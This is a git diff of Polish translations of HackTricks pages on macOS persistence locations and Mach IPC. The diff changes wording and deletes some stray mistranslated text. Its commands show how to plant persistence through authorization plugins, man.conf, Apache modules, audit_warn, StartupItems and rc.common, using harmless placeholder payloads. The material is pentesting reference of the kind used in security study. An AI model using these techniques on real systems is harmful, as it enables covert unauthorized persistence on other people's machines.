Zauważ, że ten katalog jest chroniony przez TCC, więc bardzo prawdopodobne jest, że użytkownik otrzyma monit o dostęp.
|
||||
Zauważ, że ten katalog jest chroniony przez TCC, więc jest bardzo prawdopodobne, że użytkownik otrzyma monit o dostęp.
|
||||
{% endhint %}
|
||||
|
||||
### Wtyczki Autoryzacyjne
|
||||
|
@ -1325,7 +1346,7 @@ Opis: [https://posts.specterops.io/persistent-credential-theft-with-authorizatio
|
|||
|
||||
#### Opis i Wykorzystanie
|
||||
|
||||
Możesz stworzyć wtyczkę autoryzacyjną, która będzie wykonywana podczas logowania użytkownika, aby zachować trwałość. Aby uzyskać więcej informacji na temat tworzenia takich wtyczek, sprawdź poprzednie opisy (i bądź ostrożny, słabo napisana wtyczka może zablokować Cię i będziesz musiał wyczyścić swój Mac w trybie odzyskiwania).
|
||||
Możesz stworzyć wtyczkę autoryzacyjną, która będzie wykonywana podczas logowania użytkownika, aby utrzymać trwałość. Aby uzyskać więcej informacji na temat tworzenia takich wtyczek, sprawdź poprzednie opisy (i bądź ostrożny, źle napisana wtyczka może zablokować Cię i będziesz musiał wyczyścić swój Mac w trybie odzyskiwania).
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1363,31 +1384,31 @@ EOF
|
|||
|
||||
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||
```
|
||||
**`evaluate-mechanisms`** powie mechanizmowi autoryzacji, że będzie musiał **wywołać zewnętrzny mechanizm autoryzacji**. Ponadto **`privileged`** spowoduje, że zostanie wykonany przez użytkownika root.
|
||||
**`evaluate-mechanisms`** powie frameworkowi autoryzacyjnemu, że będzie musiał **wywołać zewnętrzny mechanizm autoryzacji**. Ponadto **`privileged`** spowoduje, że zostanie wykonany przez użytkownika root.
|
||||
|
||||
Uruchomienie:
|
||||
```bash
|
||||
security authorize com.asdf.asdf
|
||||
```
|
||||
I następnie **grupa personelu powinna mieć dostęp sudo** (odczytaj `/etc/sudoers`, aby potwierdzić).
|
||||
Następnie **grupa personelu powinna mieć dostęp do sudo** (odczytaj `/etc/sudoers`, aby potwierdzić).
|
||||
|
||||
### Man.conf
|
||||
|
||||
Rozwiązanie: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
|
||||
|
||||
* Przydatne do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ale musisz być rootem, a użytkownik musi używać polecenia man
|
||||
* Ale musisz być rootem, a użytkownik musi używać man
|
||||
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Lokalizacja
|
||||
|
||||
* **`/private/etc/man.conf`**
|
||||
* Wymagany dostęp roota
|
||||
* **`/private/etc/man.conf`**: Za każdym razem, gdy używane jest polecenie man
|
||||
* **`/private/etc/man.conf`**: Za każdym razem, gdy jest używane man
|
||||
|
||||
#### Opis i Wykorzystanie
|
||||
|
||||
Plik konfiguracyjny **`/private/etc/man.conf`** wskazuje binarny/skrypt do użycia podczas otwierania plików dokumentacji man. Ścieżkę do wykonywalnego pliku można zmodyfikować, aby za każdym razem, gdy użytkownik używa polecenia man do czytania dokumentacji, uruchamiane było tylne drzwi.
|
||||
Plik konfiguracyjny **`/private/etc/man.conf`** wskazuje na binarny/skrypt do użycia podczas otwierania plików dokumentacji man. Ścieżkę do wykonywalnego pliku można zmodyfikować, aby za każdym razem, gdy użytkownik używa man do czytania dokumentów, uruchamiany był backdoor.
|
||||
|
||||
Na przykład ustaw w **`/private/etc/man.conf`**:
|
||||
```
|
||||
|
@ -1406,14 +1427,14 @@ touch /tmp/manconf
|
|||
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
* Przydatne do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ale potrzebujesz uprawnień roota i Apache musi być uruchomiony
|
||||
* Ale musisz być rootem i Apache musi działać
|
||||
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Httpd nie ma uprawnień
|
||||
|
||||
#### Lokalizacja
|
||||
|
||||
* **`/etc/apache2/httpd.conf`**
|
||||
* Wymagane uprawnienia roota
|
||||
* Wymagany dostęp jako root
|
||||
* Wywołanie: Gdy Apache2 jest uruchamiany
|
||||
|
||||
#### Opis & Wykorzystanie
|
||||
|
@ -1424,7 +1445,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
W ten sposób Twoje skompilowane moduły zostaną załadowane przez Apache. Jedynym warunkiem jest to, że musisz **podpisać je ważnym certyfikatem Apple**, lub musisz **dodać nowy zaufany certyfikat** w systemie i **podpisać** nimi.
|
||||
W ten sposób Twoje skompilowane moduły zostaną załadowane przez Apache. Jedyną rzeczą jest to, że musisz **podpisać go ważnym certyfikatem Apple**, lub musisz **dodać nowy zaufany certyfikat** w systemie i go **podpisać**.
|
||||
|
||||
Następnie, jeśli to konieczne, upewnij się, że serwer zostanie uruchomiony, wykonując:
|
||||
```bash
|
||||
|
@ -1442,11 +1463,11 @@ printf("[+] dylib constructor called from %s\n", argv[0]);
|
|||
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
||||
}
|
||||
```
|
||||
### BSM framework audytowy
|
||||
### BSM framework audytu
|
||||
|
||||
Opis: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
||||
|
||||
* Przydatny do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Przydatne do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ale potrzebujesz być rootem, aby auditd działał i wywołał ostrzeżenie
|
||||
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
|
@ -1456,18 +1477,16 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.git
|
|||
* Wymagany dostęp jako root
|
||||
* **Wywołanie**: Gdy auditd wykryje ostrzeżenie
|
||||
|
||||
#### Opis & Wykorzystanie
|
||||
#### Opis i Wykorzystanie
|
||||
|
||||
Za każdym razem, gdy auditd wykryje ostrzeżenie, skrypt **`/etc/security/audit_warn`** jest **wykonywany**. Możesz więc dodać swój ładunek do niego.
|
||||
```bash
|
||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||
```
|
||||
Możesz wymusić ostrzeżenie za pomocą `sudo audit -n`.
|
||||
|
||||
### Elementy uruchamiania
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Jest to przestarzałe, więc nie powinno być tam nic znalezionego.**
|
||||
**Jest to przestarzałe, więc nie powinno być tam znalezione żadnych plików.**
|
||||
{% endhint %}
|
||||
|
||||
**StartupItem** to katalog, który powinien znajdować się w `/Library/StartupItems/` lub `/System/Library/StartupItems/`. Po utworzeniu tego katalogu musi zawierać dwa konkretne pliki:
|
||||
|
@ -1497,21 +1516,7 @@ Upewnij się, że zarówno skrypt rc, jak i plik `StartupParameters.plist` są p
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="superservicename" %}
|
||||
### Lokalizacje automatycznego uruchamiania w macOS
|
||||
|
||||
W systemie macOS istnieje kilka lokalizacji, w których programy mogą być skonfigurowane do automatycznego uruchamiania przy logowaniu użytkownika. Poniżej znajdują się najczęstsze lokalizacje, w których można znaleźć takie wpisy:
|
||||
|
||||
1. **Folder Login Items:** Można go znaleźć w Preferencje Systemowe > Użytkownicy i grupy > Nazwa użytkownika > Elementy logowania.
|
||||
|
||||
2. **Folder LaunchAgents:** `/Library/LaunchAgents` i `~/Library/LaunchAgents`.
|
||||
|
||||
3. **Folder LaunchDaemons:** `/Library/LaunchDaemons` i `/System/Library/LaunchDaemons`.
|
||||
|
||||
4. **Folder StartupItems:** `/Library/StartupItems` (starsze systemy).
|
||||
|
||||
Zaleca się regularne sprawdzanie tych lokalizacji w celu zapobiegania potencjalnym atakom i utrzymania kontroli nad programami uruchamianymi automatycznie.
|
||||
{% endtab %}
|
||||
{% tab title="superservicename" %}Nazwa super usługi{% endtab %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1530,17 +1535,20 @@ echo "Restarting"
|
|||
|
||||
RunService "$1"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### ~~emond~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nie mogę znaleźć tego komponentu w moim systemie macOS, więc dla dalszych informacji sprawdź opis
|
||||
Nie mogę znaleźć tego komponentu w moim systemie macOS, więc dla więcej informacji sprawdź opis
|
||||
{% endhint %}
|
||||
|
||||
Opis: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Wprowadzony przez Apple, **emond** to mechanizm logowania, który wydaje się być niewystarczająco rozwinięty lub być może porzucony, ale nadal jest dostępny. Chociaż nie jest to szczególnie korzystne dla administratora Maca, ta mało znana usługa może służyć jako subtelna metoda trwałości dla aktorów zagrożeń, prawdopodobnie niezauważona przez większość administratorów macOS.
|
||||
Wprowadzony przez Apple, **emond** to mechanizm logowania, który wydaje się być niewystarczająco rozwinięty lub być może porzucony, ale nadal jest dostępny. Chociaż nie jest to szczególnie korzystne dla administratora Maca, ta mało znana usługa może służyć jako subtelna metoda trwałości dla aktorów groźby, prawdopodobnie niezauważona przez większość administratorów macOS.
|
||||
|
||||
Dla osób świadomych jego istnienia, identyfikacja jakiejkolwiek złośliwej użyteczności **emond** jest prosta. LaunchDaemon systemu dla tej usługi poszukuje skryptów do wykonania w jednym katalogu. Aby to sprawdzić, można użyć poniższej komendy:
|
||||
Dla osób świadomych jego istnienia, identyfikacja jakiejkolwiek złośliwej użyteczności **emond** jest prosta. LaunchDaemon systemu dla tej usługi poszukuje skryptów do wykonania w jednym katalogu. Aby to sprawdzić, można użyć następującej komendy:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
|
@ -1554,14 +1562,14 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
* Wymagane uprawnienia roota
|
||||
* **Wyzwalacz**: Z XQuartz
|
||||
|
||||
#### Opis i Wykorzystanie
|
||||
#### Opis & Wykorzystanie
|
||||
|
||||
XQuartz **nie jest już instalowany w macOS**, więc jeśli chcesz uzyskać więcej informacji, sprawdź writeup.
|
||||
|
||||
### ~~kext~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Jest tak skomplikowane zainstalowanie kext nawet jako root, że nie będę tego rozważać jako sposób na ucieczkę z piaskownicy ani na trwałość (chyba że masz exploit)
|
||||
Jest tak skomplikowane zainstalowanie kext nawet jako root, że nie będę tego rozważał jako sposób na ucieczkę z piaskownicy ani na trwałość (chyba że masz exploit)
|
||||
{% endhint %}
|
||||
|
||||
#### Lokalizacja
|
||||
|
@ -1581,7 +1589,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
|
|||
kextunload /path/to/kext.kext
|
||||
kextunload -b com.apple.driver.ExampleBundle
|
||||
```
|
||||
Aby uzyskać więcej informacji na temat [**rozszerzeń jądra sprawdź tę sekcję**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||
Dla dalszych informacji na temat [**rozszerzeń jądra sprawdź tę sekcję**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||
|
||||
### ~~amstoold~~
|
||||
|
||||
|
@ -1592,11 +1600,11 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.git
|
|||
* **`/usr/local/bin/amstoold`**
|
||||
* Wymagane uprawnienia roota
|
||||
|
||||
#### Opis i eksploatacja
|
||||
#### Opis i Wykorzystanie
|
||||
|
||||
Wygląda na to, że `plist` z `/System/Library/LaunchAgents/com.apple.amstoold.plist` używał tego binarnego pliku, jednocześnie udostępniając usługę XPC... problem w tym, że plik binarny nie istniał, więc można było umieścić tam coś innego, a gdy usługa XPC zostanie wywołana, zostanie wywołany twój binarny plik.
|
||||
Wygląda na to, że `plist` z `/System/Library/LaunchAgents/com.apple.amstoold.plist` używał tego pliku binarnego, eksponując usługę XPC... problem w tym, że plik binarny nie istniał, więc można było umieścić tam coś własnego, a gdy usługa XPC zostanie wywołana, zostanie wywołany twój plik binarny.
|
||||
|
||||
Nie mogę już tego znaleźć w moim systemie macOS.
|
||||
Nie mogę już znaleźć tego w moim macOS.
|
||||
|
||||
### ~~xsanctl~~
|
||||
|
||||
|
@ -1606,11 +1614,11 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.git
|
|||
|
||||
* **`/Library/Preferences/Xsan/.xsanrc`**
|
||||
* Wymagane uprawnienia roota
|
||||
* **Wyzwalacz**: Gdy usługa jest uruchamiana (rzadko)
|
||||
* **Wywołanie**: Gdy usługa jest uruchamiana (rzadko)
|
||||
|
||||
#### Opis i eksploatacja
|
||||
|
||||
Wygląda na to, że uruchamianie tego skryptu nie jest zbyt powszechne i nawet nie mogłem go znaleźć w moim macOS, więc jeśli chcesz uzyskać więcej informacji, sprawdź opis.
|
||||
Wygląda na to, że to nie jest zbyt częste uruchamianie tego skryptu i nawet nie mogłem go znaleźć w moim macOS, więc jeśli chcesz uzyskać więcej informacji, sprawdź opis.
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
|
@ -1618,7 +1626,7 @@ Wygląda na to, że uruchamianie tego skryptu nie jest zbyt powszechne i nawet n
|
|||
**To nie działa w nowoczesnych wersjach MacOS**
|
||||
{% endhint %}
|
||||
|
||||
Możliwe jest również umieszczenie tutaj **poleceń, które zostaną wykonane podczas uruchamiania systemu.** Przykład zwykłego skryptu rc.common:
|
||||
Możliwe jest również umieszczenie tutaj **komend, które zostaną wykonane podczas uruchamiania systemu.** Przykładowy skrypt rc.common:
|
||||
```bash
|
||||
#
|
||||
# Common setup for startup scripts.
|
||||
|
@ -1711,7 +1719,7 @@ restart) RestartService ;;
|
|||
esac
|
||||
}
|
||||
```
|
||||
## Techniki i narzędzia wytrwałości
|
||||
## Techniki i narzędzia trwałości
|
||||
|
||||
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
|
||||
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
|
||||
|
@ -1723,7 +1731,7 @@ esac
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
|
@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,23 +20,23 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
Mach używa **zadań** jako **najmniejszej jednostki** do dzielenia zasobów, a każde zadanie może zawierać **wiele wątków**. Te **zadania i wątki są mapowane 1:1 na procesy i wątki POSIX**.
|
||||
|
||||
Komunikacja między zadaniami odbywa się za pomocą Mach Inter-Process Communication (IPC), wykorzystując jednokierunkowe kanały komunikacyjne. **Wiadomości są przesyłane między portami**, które działają jak **kolejki wiadomości** zarządzane przez jądro.
|
||||
Komunikacja między zadaniami odbywa się za pomocą Komunikacji Międzyprocesowej Mach (IPC), wykorzystując jednokierunkowe kanały komunikacyjne. **Wiadomości są przesyłane między portami**, które działają jak **kolejki wiadomości** zarządzane przez jądro.
|
||||
|
||||
Każdy proces ma **tabelę IPC**, w której można znaleźć **porty mach procesu**. Nazwa portu mach to właściwie liczba (wskaźnik do obiektu jądra).
|
||||
|
||||
Proces może również wysłać nazwę portu z pewnymi uprawnieniami **do innego zadania**, a jądro spowoduje, że ta pozycja pojawi się w **tabeli IPC innego zadania**.
|
||||
|
||||
### Prawa portów
|
||||
### Prawa portu
|
||||
|
||||
Prawa portów, które określają, jakie operacje może wykonać zadanie, są kluczowe dla tej komunikacji. Możliwe **prawa portów** to ([definicje stąd](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
Prawa portu, które określają, jakie operacje może wykonać zadanie, są kluczowe dla tej komunikacji. Możliwe **prawa portu** to ([definicje stąd](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **Prawo odbierania**, które pozwala na odbieranie wiadomości wysłanych do portu. Porty Mach są kolejkami MPSC (wielu producentów, jeden konsument), co oznacza, że może istnieć tylko **jedno prawo odbierania dla każdego portu** w całym systemie (w przeciwieństwie do potoków, gdzie wiele procesów może trzymać deskryptory plików do końca odczytu jednego potoku).
|
||||
* **Zadanie z prawem odbierania** może odbierać wiadomości i **tworzyć prawa wysyłania**, umożliwiając wysyłanie wiadomości. Początkowo tylko **własne zadanie ma prawo odbierania nad swoim portem**.
|
||||
* **Prawo wysyłania**, które pozwala na wysyłanie wiadomości do portu.
|
||||
* Prawo wysyłania można **klonować**, więc zadanie posiadające prawo wysyłania może sklonować prawo i **przekazać je trzeciemu zadaniu**.
|
||||
* **Prawo wysyłania raz**, które pozwala na wysłanie jednej wiadomości do portu, a następnie zniknie.
|
||||
* **Prawo zestawu portów**, które oznacza _zestaw portów_ zamiast pojedynczego portu. Usuwanie wiadomości z zestawu portów usuwa wiadomość z jednego z zawartych portów. Zestawy portów można używać do nasłuchiwania na kilku portach jednocześnie, podobnie jak `select`/`poll`/`epoll`/`kqueue` w Unix.
|
||||
* **Nazwa martwa**, która nie jest faktycznym prawem portu, ale jedynie miejscem. Gdy port zostanie zniszczony, wszystkie istniejące prawa portów do portu zamieniają się w nazwy martwe.
|
||||
* **Prawo zestawu portów**, które oznacza _zestaw portów_ zamiast pojedynczego portu. Usuwanie wiadomości z zestawu portów usuwa wiadomość z jednego z zawartych portów. Zestawy portów mogą być używane do nasłuchiwania na kilku portach jednocześnie, podobnie jak `select`/`poll`/`epoll`/`kqueue` w Unix.
|
||||
* **Martwa nazwa**, która nie jest faktycznym prawem portu, ale jedynie zastępczym. Gdy port zostanie zniszczony, wszystkie istniejące prawa portu do portu zamieniają się w martwe nazwy.
|
||||
|
||||
**Zadania mogą przekazywać prawa WYSYŁANIA innym**, umożliwiając im wysyłanie wiadomości z powrotem. **Prawa WYSYŁANIA można również klonować, więc zadanie może zduplikować i przekazać prawo trzeciemu zadaniu**. To, w połączeniu z pośrednim procesem znanym jako **serwer startowy**, umożliwia efektywną komunikację między zadaniami.
|
||||
|
||||
|
@ -54,12 +54,12 @@ Jak wspomniano, aby ustanowić kanał komunikacyjny, zaangażowany jest **serwer
|
|||
2. Zadanie **A**, będąc posiadaczem prawa odbierania, **generuje prawo wysyłania dla portu**.
|
||||
3. Zadanie **A** nawiązuje **połączenie** z **serwerem startowym**, dostarczając **nazwę usługi portu** i **prawo wysyłania** poprzez procedurę znana jako rejestracja startowa.
|
||||
4. Zadanie **B** współdziała z **serwerem startowym**, aby wykonać **wyszukiwanie startowe dla nazwy usługi**. W przypadku powodzenia **serwer duplikuje prawo wysyłania** otrzymane od zadania A i **przekazuje je zadaniu B**.
|
||||
5. Po uzyskaniu prawa wysyłania, zadanie **B** jest zdolne do **formułowania** wiadomości i wysyłania jej **do zadania A**.
|
||||
6. Dla komunikacji dwukierunkowej zazwyczaj zadanie **B** generuje nowy port z **prawem odbierania** i **prawem wysyłania**, a **prawo wysyłania przekazuje zadaniu A**, aby mogło wysyłać wiadomości do zadania B (komunikacja dwukierunkowa).
|
||||
5. Po uzyskaniu prawa wysyłania, zadanie **B** jest zdolne do **formułowania** **wiadomości** i wysyłania jej **do zadania A**.
|
||||
6. Dla komunikacji dwukierunkowej zazwyczaj zadanie **B** generuje nowy port z prawem **odbierania** i **wysyłania**, a **prawo wysyłania przekazuje zadaniu A**, aby mogło wysyłać wiadomości do zadania B (komunikacja dwukierunkowa).
|
||||
|
||||
Serwer startowy **nie może uwierzytelnić** nazwy usługi twierdzonej przez zadanie. Oznacza to, że **zadanie** potencjalnie **może podszywać się pod dowolne zadanie systemowe**, na przykład **fałszywie twierdząc, że jest nazwą usługi autoryzacji**, a następnie zatwierdzając każde żądanie.
|
||||
Serwer startowy **nie może uwierzytelnić** nazwy usługi twierdzonej przez zadanie. Oznacza to, że **zadanie** potencjalnie **mogłoby podszyć się pod dowolne zadanie systemowe**, na przykład **fałszywie twierdząc nazwę usługi autoryzacji**, a następnie zatwierdzając każde żądanie.
|
||||
|
||||
Następnie Apple przechowuje **nazwy usług dostarczanych przez system** w zabezpieczonych plikach konfiguracyjnych, znajdujących się w chronionych katalogach SIP: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Obok każdej nazwy usługi przechowywany jest również **powiązany plik binarny**. Serwer startowy utworzy i będzie posiadał **prawo odbierania dla każdej z tych nazw usług**.
|
||||
Następnie Apple przechowuje **nazwy usług dostarczanych przez system** w bezpiecznych plikach konfiguracyjnych, znajdujących się w chronionych katalogach SIP: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Obok każdej nazwy usługi przechowywany jest również **powiązany plik binarny**. Serwer startowy utworzy i będzie posiadał **prawo odbierania dla każdej z tych nazw usług**.
|
||||
|
||||
Dla tych predefiniowanych usług, **proces wyszukiwania różni się nieco**. Gdy nazwa usługi jest wyszukiwana, launchd uruchamia usługę dynamicznie. Nowy schemat postępowania jest następujący:
|
||||
|
||||
|
@ -67,9 +67,9 @@ Dla tych predefiniowanych usług, **proces wyszukiwania różni się nieco**. Gd
|
|||
* **launchd** sprawdza, czy zadanie jest uruchomione, i jeśli nie, **uruchamia** je.
|
||||
* Zadanie **A** (usługa) wykonuje **rejestrację startową**. Tutaj **serwer startowy** tworzy prawo wysyłania, zatrzymuje je i **przekazuje prawo odbierania zadaniu A**.
|
||||
* launchd duplikuje **prawo wysyłania i wysyła je do zadania B**.
|
||||
* Zadanie **B** generuje nowy port z **prawem odbierania** i **prawem wysyłania**, a **prawo wysyłania przekazuje zadaniu A** (usłudze), aby mogło wysyłać wiadomości do zadania B (komunikacja dwukierunkowa).
|
||||
* Zadanie **B** generuje nowy port z prawem **odbierania** i **wysyłania**, a **prawo wysyłania przekazuje zadaniu A** (usłudze), aby mogło wysyłać wiadomości do zadania B (komunikacja dwukierunkowa).
|
||||
|
||||
Jednak ten proces dotyczy tylko predefiniowanych zadań systemowych. Zadania spoza systemu wciąż działają zgodnie z pierwotnym opisem, co potencjalnie może pozwolić na podszywanie się.
|
||||
Jednak ten proces dotyczy tylko predefiniowanych zadań systemowych. Zadania spoza systemu wciąż działają zgodnie z opisem pierwotnym, co potencjalnie może pozwolić na podszywanie się.
|
||||
|
||||
### Wiadomość Mach
|
||||
|
||||
|
@ -86,12 +86,12 @@ mach_port_name_t msgh_voucher_port;
|
|||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
Procesy posiadające _**prawo odbioru**_ mogą odbierać wiadomości na porcie Mach. Z kolei **nadawcy** otrzymują _**prawo wysyłania**_ lub _**prawo wysłania raz**_. Prawo wysłania raz służy wyłącznie do wysłania jednej wiadomości, po czym staje się nieważne.
|
||||
Procesy posiadające _**prawo odbioru**_ mogą odbierać wiadomości na porcie Mach. Z kolei **nadawcy** otrzymują _**prawo wysyłania**_ lub _**prawo wysłania raz**_. Prawo wysłania raz służy wyłącznie do wysłania pojedynczej wiadomości, po czym staje się nieważne.
|
||||
|
||||
Aby osiągnąć łatwą **komunikację dwukierunkową**, proces może określić **port mach** w nagłówku mach **wiadomości** o nazwie _port odpowiedzi_ (**`msgh_local_port`**), gdzie **odbiorca** wiadomości może **wysłać odpowiedź** na tę wiadomość. Bity flag w **`msgh_bits`** mogą być używane do **wskazania**, że **prawo wysłania raz** powinno być wygenerowane i przesłane dla tego portu (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
Aby osiągnąć łatwą **komunikację dwukierunkową**, proces może określić **port mach** w nagłówku mach o nazwie _port odpowiedzi_ (**`msgh_local_port`**), gdzie **odbiorca** wiadomości może **wysłać odpowiedź** na tę wiadomość. Bity flag w **`msgh_bits`** mogą być używane do **wskazania**, że dla tego portu powinno zostać utworzone i przesłane **prawo wysłania raz** (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
{% hint style="success" %}
|
||||
Zauważ, że tego rodzaju komunikacja dwukierunkowa jest używana w wiadomościach XPC, które oczekują odpowiedzi (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ale **zazwyczaj tworzone są różne porty**, jak wyjaśniono wcześniej, aby stworzyć komunikację dwukierunkową.
|
||||
Zauważ, że tego rodzaju komunikacja dwukierunkowa jest używana w wiadomościach XPC, które oczekują odpowiedzi (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ale **zazwyczaj tworzone są różne porty**, jak wyjaśniono wcześniej, aby utworzyć komunikację dwukierunkową.
|
||||
{% endhint %}
|
||||
|
||||
Pozostałe pola nagłówka wiadomości to:
|
||||
|
@ -102,10 +102,10 @@ Pozostałe pola nagłówka wiadomości to:
|
|||
* `msgh_id`: ID tej wiadomości, który jest interpretowany przez odbiorcę.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że **wiadomości mach są wysyłane przez port mach**, który jest kanałem komunikacji **jednego odbiorcy** i **wielu nadawców** wbudowanym w jądro mach. **Wiele procesów** może **wysyłać wiadomości** do portu mach, ale w każdym momencie tylko **jeden proces może czytać** z niego.
|
||||
Zauważ, że **wiadomości mach są wysyłane przez port mach**, który jest kanałem komunikacji **jednego odbiorcy** i **wielu nadawców** wbudowanym w jądro mach. **Wiele procesów** może **wysyłać wiadomości** do portu mach, ale w dowolnym momencie tylko **jeden proces może czytać** z niego.
|
||||
{% endhint %}
|
||||
|
||||
### Wyliczanie portów
|
||||
### Wylicz porty
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
|
@ -184,59 +184,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}Wysyłanie komunikatów IPC za pomocą kolejek komunikatów System V w systemie macOS.
|
||||
|
||||
Aby wysłać komunikat IPC za pomocą kolejek komunikatów System V w systemie macOS, należy utworzyć kolejkę komunikatów, uzyskać dostęp do niej za pomocą klucza IPC, a następnie wysłać komunikat do kolejki.
|
||||
|
||||
Oto przykładowy kod w języku C, który wysyła komunikat IPC za pomocą kolejek komunikatów System V w systemie macOS:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
struct msgbuf {
|
||||
long mtype;
|
||||
char mtext[100];
|
||||
};
|
||||
|
||||
int main() {
|
||||
key_t key;
|
||||
int msgid;
|
||||
struct msgbuf message;
|
||||
|
||||
key = ftok("sender.c", 'B');
|
||||
msgid = msgget(key, 0666 | IPC_CREAT);
|
||||
|
||||
message.mtype = 1;
|
||||
sprintf(message.mtext, "To jest przykładowy komunikat IPC.");
|
||||
|
||||
msgsnd(msgid, &message, sizeof(message), 0);
|
||||
|
||||
printf("Wysłano komunikat IPC.\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Ten kod tworzy kolejkę komunikatów, uzyskuje dostęp do niej za pomocą klucza IPC utworzonego na podstawie pliku `sender.c`, a następnie wysyła komunikat o typie 1 z określoną treścią do kolejki.
|
||||
|
||||
Aby skompilować ten program, można użyć polecenia:
|
||||
|
||||
```bash
|
||||
gcc sender.c -o sender
|
||||
```
|
||||
|
||||
Następnie można uruchomić program za pomocą:
|
||||
|
||||
